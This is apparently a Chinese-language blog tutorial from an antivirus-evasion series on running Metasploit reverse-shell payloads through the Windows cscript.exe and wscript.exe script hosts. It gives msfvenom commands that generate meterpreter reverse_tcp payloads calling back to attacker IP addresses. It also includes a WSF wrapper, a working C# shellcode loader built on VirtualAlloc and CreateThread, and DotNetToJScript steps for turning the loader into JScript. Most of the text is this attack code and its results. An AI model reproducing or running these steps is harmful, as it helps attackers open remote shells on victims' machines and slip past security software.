【免殺篇】遠控免殺專題(62)-白名單CScript/WScript執行payload


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

0x01 CScript/WScript介紹

0x02 使用CScript/WScript執行vbs反彈腳本

0x03 使用CScript/WScript執行wsf反彈腳本

0x04 使用CScript/WScript執行js反彈腳本

0x05 總結


0x01 CScript/WScript介紹

系統文件cscript.exe是存放在Windows系統文件夾中的重要文件,通常情況下是在安裝操作系統過程中自動創建的,對於系統正常運行來說至關重要,Windows Script Host引擎在cscript.exe來尋找和連接腳本的運行庫,最常見的有VBScript和JavaScript。

wscript全稱“Windows Scripting Host”,是一種批次語言/自動執行工具——它所對應的程序“wscript.exe”是一個腳本語言解釋器,位於C:\WINDOWS\system32目錄下,正是它才使得腳本可以被執行,就象執行批處理一樣,可以拿來執行.wsh,.vbs,.js等。

WScript是一個窗口化的版本;CScript是一個命令行的版本。兩種版本都可以運行任何腳本。二者之間的區別是,窗口化版本(WScript)使用一個彈出對話框來顯示文本輸出消息,而命令行版本(CSCript)通過命令行程序所見的、常規的“標準輸出”方法來顯示文本。

CScript/WScript可以用來執行vbs和js等腳本,是否能達到免殺的目的取決於執行的腳本本身的免殺能力。

 

0x02 使用CScript/WScript執行vbs反彈腳本

使用msfvenom生成vbs腳本的反彈木馬。

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=172.16.100.207 lport=4444 -f vbs > TIDE.vbs

 

使用cscript.exe執行生成的vbs腳本。

cscript.exe TIDE.vbs

 

反彈成功。

使用WScript.exe執行vbs反彈腳本,可以見到和cscript.exe相比命令行中沒有文本輸出信息。

WScript.exe TIDE.vbs

msf上線成功。 

 

0x03 使用CScript/WScript執行wsf反彈腳本

wsf文件是一種windows腳本文件,是一個包含可擴展標記語言(XML)代碼的文本文檔。把msf生成的反彈vbs代碼放入到<script>標籤中。

<package>
<job  id="IncludeExample">     
	<script language="VBScript">    
                           #vbs代碼     
	</script>
</job>
</package>

 

使用cscript.exe執行wsf腳本。

cscript.exe TIDE.wsf

反彈成功。

使用WScript.exe執行wsf腳本。

WScript.exe TIDE.wsf

msf上線成功。 

 

0x04 使用CScript/WScript執行js反彈腳本

首先需要製作一個js反彈文件,和專題39方法一致。

1、生成基於csharp的shellcode, 我們要藉助於 C# 來執行生成的 Payload,所以格式要選擇爲 csharp。

 msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp

2、然後在vs2017中創建C#的Console⼯程,.Net版本建議2.0,這樣兼容性好⼀一 些,如果選了了net 4.0。其他電腦上沒有裝4.0的話可能就沒法運⾏了。代碼如下,把 shell_x86.csharp 內容放到相應MsfPayload位置。

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
           RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload = {
            //Paste your Payload here
        };
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

然後將先前生成的 Payload 的黏貼到代碼中註釋爲“//Paste your Payload here”的地方。保存代碼後,修改該工程的屬性,將輸出類型改爲“Windows 應用程序”,啓動對象改爲“MSFWrapper.Program”, 然後保存。增加 Release 版的 x86 編譯對象,然後生成了ConsoleApp2.exe。

3、將exe轉換爲腳本⽂文件 下載 DotNetToJScript: https://raw.githubusercontent.com/TideSec/BypassAntiVi rus/master/tools/DotNetToJScript.zip

將上⾯⽣成的 ConsoleApp2.exe 複製到DotNetToJScript⽬目錄下,執⾏命令生成TIDE.js文件

DotNetToJScript.exe -l=JScript -o=TIDE.js -c=MSFWrapper.Program ConsoleApp2.exe

使用cscript/WScript執行​​​​​​​

cscript.exe  MSFWrapper.js
WScript.exe MSFWrapper.js

成功上線

 

0x05 總結

cscript/WScript無論是加載vbs,還是wsf和js,都會被360和火絨查殺到,因此想要繞過殺軟還需要對vbs,和js腳本進行免殺處理。

vt查殺率32/57 

 

參考資料:

免殺 MSF Windows Payload 的方法與實踐

 


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章